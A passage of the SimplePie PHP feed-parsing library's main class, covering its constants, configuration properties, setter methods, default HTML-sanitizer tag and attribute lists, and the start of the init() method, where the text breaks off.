     * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
     */
    public const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss';

    /**
     * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
     */
    public const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/';

    /**
     * iTunes RSS Namespace
     */
    public const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd';

    /**
     * XHTML Namespace
     */
    public const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml';

    /**
     * IANA Link Relations Registry
     */
    public const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/';

    /**
     * No file source
     */
    public const FILE_SOURCE_NONE = 0;

    /**
     * Remote file source
     */
    public const FILE_SOURCE_REMOTE = 1;

    /**
     * Local file source
     */
    public const FILE_SOURCE_LOCAL = 2;

    /**
     * fsockopen() file source
     */
    public const FILE_SOURCE_FSOCKOPEN = 4;

    /**
     * cURL file source
     */
    public const FILE_SOURCE_CURL = 8;

    /**
     * file_get_contents() file source
     */
    public const FILE_SOURCE_FILE_GET_CONTENTS = 16;

    /**
     * @var array Raw data
     * @access private
     */
    public $data = [];

    /**
     * @var mixed Error string
     * @access private
     */
    public $error;

    /**
     * @var int HTTP status code
     * @see SimplePie::status_code()
     * @access private
     */
    public $status_code = 0;

    /**
     * @var object Instance of \SimplePie\Sanitize (or other class)
     * @see SimplePie::set_sanitize_class()
     * @access private
     */
    public $sanitize;

    /**
     * @var string SimplePie Useragent
     * @see SimplePie::set_useragent()
     * @access private
     */
    public $useragent = '';

    /**
     * @var string Feed URL
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $feed_url;

    /**
     * @var string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
     * @see SimplePie::subscribe_url()
     * @access private
     */
    public $permanent_url = null;

    /**
     * @var object Instance of \SimplePie\File to use as a feed
     * @see SimplePie::set_file()
     * @access private
     */
    public $file;

    /**
     * @var string Raw feed data
     * @see SimplePie::set_raw_data()
     * @access private
     */
    public $raw_data;

    /**
     * @var int Timeout for fetching remote files
     * @see SimplePie::set_timeout()
     * @access private
     */
    public $timeout = 10;

    /**
     * @var array Custom curl options
     * @see SimplePie::set_curl_options()
     * @access private
     */
    public $curl_options = [];

    /**
     * @var bool Forces fsockopen() to be used for remote files instead
     * of cURL, even if a new enough version is installed
     * @see SimplePie::force_fsockopen()
     * @access private
     */
    public $force_fsockopen = false;

    /**
     * @var bool Force the given data/URL to be treated as a feed no matter what
     * it appears like
     * @see SimplePie::force_feed()
     * @access private
     */
    public $force_feed = false;

    /**
     * @var bool Enable/Disable Caching
     * @see SimplePie::enable_cache()
     * @access private
     */
    private $enable_cache = true;

    /**
     * @var DataCache|null
     * @see SimplePie::set_cache()
     */
    private $cache = null;

    /**
     * @var NameFilter
     * @see SimplePie::set_cache_namefilter()
     */
    private $cache_namefilter;

    /**
     * @var bool Force SimplePie to fallback to expired cache, if enabled,
     * when feed is unavailable.
     * @see SimplePie::force_cache_fallback()
     * @access private
     */
    public $force_cache_fallback = false;

    /**
     * @var int Cache duration (in seconds)
     * @see SimplePie::set_cache_duration()
     * @access private
     */
    public $cache_duration = 3600;

    /**
     * @var int Auto-discovery cache duration (in seconds)
     * @see SimplePie::set_autodiscovery_cache_duration()
     * @access private
     */
    public $autodiscovery_cache_duration = 604800; // 7 Days.

    /**
     * @var string Cache location (relative to executing script)
     * @see SimplePie::set_cache_location()
     * @access private
     */
    public $cache_location = './cache';

    /**
     * @var string Function that creates the cache filename
     * @see SimplePie::set_cache_name_function()
     * @access private
     */
    public $cache_name_function = 'md5';

    /**
     * @var bool Reorder feed by date descending
     * @see SimplePie::enable_order_by_date()
     * @access private
     */
    public $order_by_date = true;

    /**
     * @var mixed Force input encoding to be set to the follow value
     * (false, or anything type-cast to false, disables this feature)
     * @see SimplePie::set_input_encoding()
     * @access private
     */
    public $input_encoding = false;

    /**
     * @var int Feed Autodiscovery Level
     * @see SimplePie::set_autodiscovery_level()
     * @access private
     */
    public $autodiscovery = self::LOCATOR_ALL;

    /**
     * Class registry object
     *
     * @var \SimplePie\Registry
     */
    public $registry;

    /**
     * @var int Maximum number of feeds to check with autodiscovery
     * @see SimplePie::set_max_checked_feeds()
     * @access private
     */
    public $max_checked_feeds = 10;

    /**
     * @var array All the feeds found during the autodiscovery process
     * @see SimplePie::get_all_discovered_feeds()
     * @access private
     */
    public $all_discovered_feeds = [];

    /**
     * @var string Web-accessible path to the handler_image.php file.
     * @see SimplePie::set_image_handler()
     * @access private
     */
    public $image_handler = '';

    /**
     * @var array Stores the URLs when multiple feeds are being initialized.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $multifeed_url = [];

    /**
     * @var array Stores SimplePie objects when multiple feeds initialized.
     * @access private
     */
    public $multifeed_objects = [];

    /**
     * @var array Stores the get_object_vars() array for use with multifeeds.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $config_settings = null;

    /**
     * @var integer Stores the number of items to return per-feed with multifeeds.
     * @see SimplePie::set_item_limit()
     * @access private
     */
    public $item_limit = 0;

    /**
     * @var bool Stores if last-modified and/or etag headers were sent with the
     * request when checking a feed.
     */
    public $check_modified = false;

    /**
     * @var array Stores the default attributes to be stripped by strip_attributes().
     * @see SimplePie::strip_attributes()
     * @access private
     */
    public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];

    /**
     * @var array Stores the default attributes to add to different tags by add_attributes().
     * @see SimplePie::add_attributes()
     * @access private
     */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];

    /**
     * @var array Stores the default tags to be stripped by strip_htmltags().
     * @see SimplePie::strip_htmltags()
     * @access private
     */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];

    /**
     * @var array Stores the default attributes to be renamed by rename_attributes().
     * @see SimplePie::rename_attributes()
     * @access private
     */
    public $rename_attributes = [];

    /**
     * @var bool Should we throw exceptions, or use the old-style error property?
     * @access private
     */
    public $enable_exceptions = false;

    /**
     * The SimplePie class contains feed level data and options
     *
     * To use SimplePie, create the SimplePie object with no parameters. You can
     * then set configuration options using the provided methods. After setting
     * them, you must initialise the feed using $feed->init(). At that point the
     * object's methods and properties will be available to you.
     *
     * Previously, it was possible to pass in the feed URL along with cache
     * options directly into the constructor. This has been removed as of 1.3 as
     * it caused a lot of confusion.
     *
     * @since 1.0 Preview Release
     */
    public function __construct()
    {
        if (version_compare(PHP_VERSION, '7.2', '<')) {
            exit('Please upgrade to PHP 7.2 or newer.');
        }

        $this->set_useragent();

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));

        // Other objects, instances created here so we can set options on them
        $this->sanitize = new \SimplePie\Sanitize();
        $this->registry = new \SimplePie\Registry();

        if (func_num_args() > 0) {
            trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', \E_USER_DEPRECATED);

            $args = func_get_args();
            switch (count($args)) {
                case 3:
                    $this->set_cache_duration($args[2]);
                    // no break
                case 2:
                    $this->set_cache_location($args[1]);
                    // no break
                case 1:
                    $this->set_feed_url($args[0]);
                    $this->init();
            }
        }
    }

    /**
     * Used for converting object to a string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            if (!empty($this->data['items'])) {
                foreach ($this->data['items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['items']);
            }
            if (!empty($this->data['ordered_items'])) {
                foreach ($this->data['ordered_items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['ordered_items']);
            }
        }
    }

    /**
     * Force the given data/URL to be treated as a feed
     *
     * This tells SimplePie to ignore the content-type provided by the server.
     * Be careful when using this option, as it will also disable autodiscovery.
     *
     * @since 1.1
     * @param bool $enable Force the given data/URL to be treated as a feed
     */
    public function force_feed($enable = false)
    {
        $this->force_feed = (bool) $enable;
    }

    /**
     * Set the URL of the feed you want to parse
     *
     * This allows you to enter the URL of the feed you want to parse, or the
     * website you want to try to use auto-discovery on. This takes priority
     * over any set raw data.
     *
     * You can set multiple feeds to mash together by passing an array instead
     * of a string for the $url. Remember that with each additional feed comes
     * additional processing and resources.
     *
     * @since 1.0 Preview Release
     * @see set_raw_data()
     * @param string|array $url This is the URL (or array of URLs) that you want to parse.
     */
    public function set_feed_url($url)
    {
        $this->multifeed_url = [];
        if (is_array($url)) {
            foreach ($url as $value) {
                $this->multifeed_url[] = $this->registry->call(Misc::class, 'fix_protocol', [$value, 1]);
            }
        } else {
            $this->feed_url = $this->registry->call(Misc::class, 'fix_protocol', [$url, 1]);
            $this->permanent_url = $this->feed_url;
        }
    }

    /**
     * Set an instance of {@see \SimplePie\File} to use as a feed
     *
     * @param \SimplePie\File &$file
     * @return bool True on success, false on failure
     */
    public function set_file(&$file)
    {
        if ($file instanceof \SimplePie\File) {
            $this->feed_url = $file->url;
            $this->permanent_url = $this->feed_url;
            $this->file = &$file;
            return true;
        }
        return false;
    }

    /**
     * Set the raw XML data to parse
     *
     * Allows you to use a string of RSS/Atom data instead of a remote feed.
     *
     * If you have a feed available as a string in PHP, you can tell SimplePie
     * to parse that data string instead of a remote feed. Any set feed URL
     * takes precedence.
     *
     * @since 1.0 Beta 3
     * @param string $data RSS or Atom data as a string.
     * @see set_feed_url()
     */
    public function set_raw_data($data)
    {
        $this->raw_data = $data;
    }

    /**
     * Set the default timeout for fetching remote feeds
     *
     * This allows you to change the maximum time the feed's server to respond
     * and send the feed back.
     *
     * @since 1.0 Beta 3
     * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
     */
    public function set_timeout($timeout = 10)
    {
        $this->timeout = (int) $timeout;
    }

    /**
     * Set custom curl options
     *
     * This allows you to change default curl options
     *
     * @since 1.0 Beta 3
     * @param array $curl_options Curl options to add to default settings
     */
    public function set_curl_options(array $curl_options = [])
    {
        $this->curl_options = $curl_options;
    }

    /**
     * Force SimplePie to use fsockopen() instead of cURL
     *
     * @since 1.0 Beta 3
     * @param bool $enable Force fsockopen() to be used
     */
    public function force_fsockopen($enable = false)
    {
        $this->force_fsockopen = (bool) $enable;
    }

    /**
     * Enable/disable caching in SimplePie.
     *
     * This option allows you to disable caching all-together in SimplePie.
     * However, disabling the cache can lead to longer load times.
     *
     * @since 1.0 Preview Release
     * @param bool $enable Enable caching
     */
    public function enable_cache($enable = true)
    {
        $this->enable_cache = (bool) $enable;
    }

    /**
     * Set a PSR-16 implementation as cache
     *
     * @param CacheInterface $psr16cache The PSR-16 cache implementation
     *
     * @return void
     */
    public function set_cache(CacheInterface $cache)
    {
        $this->cache = new Psr16($cache);
    }

    /**
     * SimplePie to continue to fall back to expired cache, if enabled, when
     * feed is unavailable.
     *
     * This tells SimplePie to ignore any file errors and fall back to cache
     * instead. This only works if caching is enabled and cached content
     * still exists.
     *
     * @deprecated since SimplePie 1.8.0, expired cache will not be used anymore.
     *
     * @param bool $enable Force use of cache on fail.
     */
    public function force_cache_fallback($enable = false)
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::force_cache_fallback() is deprecated since SimplePie 1.8.0, expired cache will not be used anymore.'), \E_USER_DEPRECATED);
        $this->force_cache_fallback = (bool) $enable;
    }

    /**
     * Set the length of time (in seconds) that the contents of a feed will be
     * cached
     *
     * @param int $seconds The feed content cache duration
     */
    public function set_cache_duration($seconds = 3600)
    {
        $this->cache_duration = (int) $seconds;
    }

    /**
     * Set the length of time (in seconds) that the autodiscovered feed URL will
     * be cached
     *
     * @param int $seconds The autodiscovered feed URL cache duration.
     */
    public function set_autodiscovery_cache_duration($seconds = 604800)
    {
        $this->autodiscovery_cache_duration = (int) $seconds;
    }

    /**
     * Set the file system location where the cached files should be stored
     *
     * @deprecated since SimplePie 1.8.0, use \SimplePie\SimplePie::set_cache() instead.
     *
     * @param string $location The file system location.
     */
    public function set_cache_location($location = './cache')
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::set_cache_location() is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()" instead.'), \E_USER_DEPRECATED);
        $this->cache_location = (string) $location;
    }

    /**
     * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
     *
     * @param string $url The URL of the feed to be cached.
     * @return string A filename (i.e. hash, without path and without extension).
     */
    public function get_cache_filename($url)
    {
        // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
        $url .= $this->force_feed ? '#force_feed' : '';
        $options = [];
        if ($this->timeout != 10) {
            $options[CURLOPT_TIMEOUT] = $this->timeout;
        }
        if ($this->useragent !== \SimplePie\Misc::get_default_useragent()) {
            $options[CURLOPT_USERAGENT] = $this->useragent;
        }
        if (!empty($this->curl_options)) {
            foreach ($this->curl_options as $k => $v) {
                $options[$k] = $v;
            }
        }
        if (!empty($options)) {
            ksort($options);
            $url .= '#' . urlencode(var_export($options, true));
        }

        return $this->cache_namefilter->filter($url);
    }

    /**
     * Set whether feed items should be sorted into reverse chronological order
     *
     * @param bool $enable Sort as reverse chronological order.
     */
    public function enable_order_by_date($enable = true)
    {
        $this->order_by_date = (bool) $enable;
    }

    /**
     * Set the character encoding used to parse the feed
     *
     * This overrides the encoding reported by the feed, however it will fall
     * back to the normal encoding detection if the override fails
     *
     * @param string $encoding Character encoding
     */
    public function set_input_encoding($encoding = false)
    {
        if ($encoding) {
            $this->input_encoding = (string) $encoding;
        } else {
            $this->input_encoding = false;
        }
    }

    /**
     * Set how much feed autodiscovery to do
     *
     * @see \SimplePie\SimplePie::LOCATOR_NONE
     * @see \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY
     * @see \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION
     * @see \SimplePie\SimplePie::LOCATOR_LOCAL_BODY
     * @see \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION
     * @see \SimplePie\SimplePie::LOCATOR_REMOTE_BODY
     * @see \SimplePie\SimplePie::LOCATOR_ALL
     * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
     */
    public function set_autodiscovery_level($level = self::LOCATOR_ALL)
    {
        $this->autodiscovery = (int) $level;
    }

    /**
     * Get the class registry
     *
     * Use this to override SimplePie's default classes
     * @see \SimplePie\Registry
     *
     * @return Registry
     */
    public function &get_registry()
    {
        return $this->registry;
    }

    /**
     * Set which class SimplePie uses for caching
     *
     * @deprecated since SimplePie 1.3, use {@see set_cache()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_cache_class($class = Cache::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::set_cache()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Cache::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for auto-discovery
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_locator_class($class = Locator::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Locator::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for XML parsing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_parser_class($class = Parser::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Parser::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for remote file fetching
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_file_class($class = File::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(File::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for data sanitization
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_sanitize_class($class = Sanitize::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sanitize::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling feed items
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_item_class($class = Item::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Item::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling author data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_author_class($class = Author::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Author::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling category data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_category_class($class = Category::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Category::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for feed enclosures
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_enclosure_class($class = Enclosure::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Enclosure::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:text>` captions
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_caption_class($class = Caption::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Caption::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:copyright>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_copyright_class($class = Copyright::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Copyright::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:credit>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_credit_class($class = Credit::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Credit::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:rating>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_rating_class($class = Rating::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Rating::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:restriction>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_restriction_class($class = Restriction::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Restriction::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for content-type sniffing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_content_type_sniffer_class($class = Sniffer::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sniffer::class, $class, true);
    }

    /**
     * Set which class SimplePie uses item sources
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_source_class($class = Source::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Source::class, $class, true);
    }

    /**
     * Set the user agent string
     *
     * @param string $ua New user agent string.
     */
    public function set_useragent($ua = null)
    {
        if ($ua === null) {
            $ua = \SimplePie\Misc::get_default_useragent();
        }

        $this->useragent = (string) $ua;
    }

    /**
     * Set a namefilter to modify the cache filename with
     *
     * @param NameFilter $filter
     *
     * @return void
     */
    public function set_cache_namefilter(NameFilter $filter): void
    {
        $this->cache_namefilter = $filter;
    }

    /**
     * Set callback function to create cache filename with
     *
     * @deprecated since SimplePie 1.8.0, use {@see set_cache_namefilter()} instead
     *
     * @param mixed $function Callback function
     */
    public function set_cache_name_function($function = 'md5')
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache_namefilter()" instead.', __METHOD__), \E_USER_DEPRECATED);

        if (is_callable($function)) {
            $this->cache_name_function = $function;

            $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
        }
    }

    /**
     * Set options to make SP as fast as possible
     *
     * Forgoes a substantial amount of data sanitization in favor of speed. This
     * turns SimplePie into a dumb parser of feeds.
     *
     * @param bool $set Whether to set them or not
     */
    public function set_stupidly_fast($set = false)
    {
        if ($set) {
            $this->enable_order_by_date(false);
            $this->remove_div(false);
            $this->strip_comments(false);
            $this->strip_htmltags(false);
            $this->strip_attributes(false);
            $this->add_attributes(false);
            $this->set_image_handler(false);
            $this->set_https_domains([]);
        }
    }

    /**
     * Set maximum number of feeds to check with autodiscovery
     *
     * @param int $max Maximum number of feeds to check
     */
    public function set_max_checked_feeds($max = 10)
    {
        $this->max_checked_feeds = (int) $max;
    }

    public function remove_div($enable = true)
    {
        $this->sanitize->remove_div($enable);
    }

    public function strip_htmltags($tags = '', $encode = null)
    {
        if ($tags === '') {
            $tags = $this->strip_htmltags;
        }
        $this->sanitize->strip_htmltags($tags);
        if ($encode !== null) {
            $this->sanitize->encode_instead_of_strip($tags);
        }
    }

    public function encode_instead_of_strip($enable = true)
    {
        $this->sanitize->encode_instead_of_strip($enable);
    }

    public function rename_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->rename_attributes;
        }
        $this->sanitize->rename_attributes($attribs);
    }

    public function strip_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->strip_attributes;
        }
        $this->sanitize->strip_attributes($attribs);
    }

    public function add_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->add_attributes;
        }
        $this->sanitize->add_attributes($attribs);
    }

    /**
     * Set the output encoding
     *
     * Allows you to override SimplePie's output to match that of your webpage.
     * This is useful for times when your webpages are not being served as
     * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
     * is similar to {@see set_input_encoding()}.
     *
     * It should be noted, however, that not all character encodings can support
     * all characters. If your page is being served as ISO-8859-1 and you try
     * to display a Japanese feed, you'll likely see garbled characters.
     * Because of this, it is highly recommended to ensure that your webpages
     * are served as UTF-8.
     *
     * The number of supported character encodings depends on whether your web
     * host supports {@link http://php.net/mbstring mbstring},
     * {@link http://php.net/iconv iconv}, or both. See
     * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
     * more information.
     *
     * @param string $encoding
     */
    public function set_output_encoding($encoding = 'UTF-8')
    {
        $this->sanitize->set_output_encoding($encoding);
    }

    public function strip_comments($strip = false)
    {
        $this->sanitize->strip_comments($strip);
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
     * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
     * |q|@cite
     *
     * @since 1.0
     * @param array|null $element_attribute Element/attribute key/value pairs, null for default
     */
    public function set_url_replacements($element_attribute = null)
    {
        $this->sanitize->set_url_replacements($element_attribute);
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * @param array List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
     */
    public function set_https_domains($domains = [])
    {
        if (is_array($domains)) {
            $this->sanitize->set_https_domains($domains);
        }
    }

    /**
     * Set the handler to enable the display of cached images.
     *
     * @param string $page Web-accessible path to the handler_image.php file.
     * @param string $qs The query string that the value should be passed to.
     */
    public function set_image_handler($page = false, $qs = 'i')
    {
        if ($page !== false) {
            $this->sanitize->set_image_handler($page . '?' . $qs . '=');
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * Set the limit for items returned per-feed with multifeeds
     *
     * @param integer $limit The maximum number of items to return.
     */
    public function set_item_limit($limit = 0)
    {
        $this->item_limit = (int) $limit;
    }

    /**
     * Enable throwing exceptions
     *
     * @param boolean $enable Should we throw exceptions, or use the old-style error property?
     */
    public function enable_exceptions($enable = true)
    {
        $this->enable_exceptions = $enable;
    }

    /**
     * Initialize the feed object
     *
     * This is what makes everything happen. Period. This is where all of the
     * configuration options get processed, feeds are fetched, cached, and
     * parsed, and all of that other good stuff.
     *
     * @return boolean True if successful, false otherwise
     */
    public function init()
    {
        // Check absolute bare minimum requirements.
        if (!extension_loaded('xml') || !extension_loaded('pcre')) {
            $this->error = 'XML or PCRE extensions not loaded!';
            return false;
        }
        // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
        elseif (!extension_loaded('xmlreader')) {
            static $xml_is_sane = null;
            if ($xml_is_sane === null) {
                $parser_check = xml_parser_create();
                xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
                xml_parser_free($parser_check);
                $xml_is_sane = isset($values[0]['value']);
            }
            if (!$xml_is_sane) {
                return false;
            }
        }

        // The default sanitize class gets set in the constructor, check if it has
        // changed.
        if ($this->registry->get_class(Sanitize::class) !== 'SimplePie\Sanitize') {
            $this->sanitize = $this->registry->create(Sanitize::class);
        }
        if (method_exists($this->sanitize, 'set_registry')) {
            $this->sanitize->set_registry($this->registry);
        }

        // Pass whatever was set with config options over to the sanitizer.
        // Pass the classes in for legacy support; new classes should use the registry instead
        $this->sanitize->pass_cache_data(
            $this->enable_cache,
            $this->cache_location,
            $this->cache_namefilter,
            $this->registry->get_class(Cache::class),
            $this->cache
        );
        $this->sanitize->pass_file_data($this->registry->get_class(File::class), $this->timeout, $this->useragent, $this->force_fsockopen, $this->curl_options);

        if (!empty($this->multifeed_url)) {
            $i = 0;
            $success = 0;
            $this->multifeed_objects = [];
            $this->error = [];
            foreach ($this->multifeed_url as $url) {
                $this->multifeed_objects[$i] = clone $this;
                $this->multifeed_objects[$i]->set_feed_url($url);
                $single_success = $this->multifeed_objects[$i]->init();
                $success |= $single_success;
                if (!$single_success) {
                    $this->error[$i] = $this->multifeed_objects[$i]->error();
                }
                $i++;
            }
            return (bool) $success;
        } elseif ($this->feed_url === null && $this->raw_data === null) {
            return false;
        }

        $this->error = null;
        $this->data = [];
        $this->check_modified = false;
        $this->multifeed_objects = [];
        $cache = false;

        if ($this->feed_url !== null) {
            $parsed_feed_url = $this->registry->call(Misc::class, 'parse_url', [$this->feed_url]);

            // Decide whether to enable caching
            if ($this->enable_cache && $parsed_feed_url['scheme'] !== '') {
                $cache = $this->get_cache($this->feed_url);
            }

            // Fetch the data via \SimplePie\File into $this->raw_data
            if (($fetched = $this->fetch_data($cache)) === true) {
                return true;
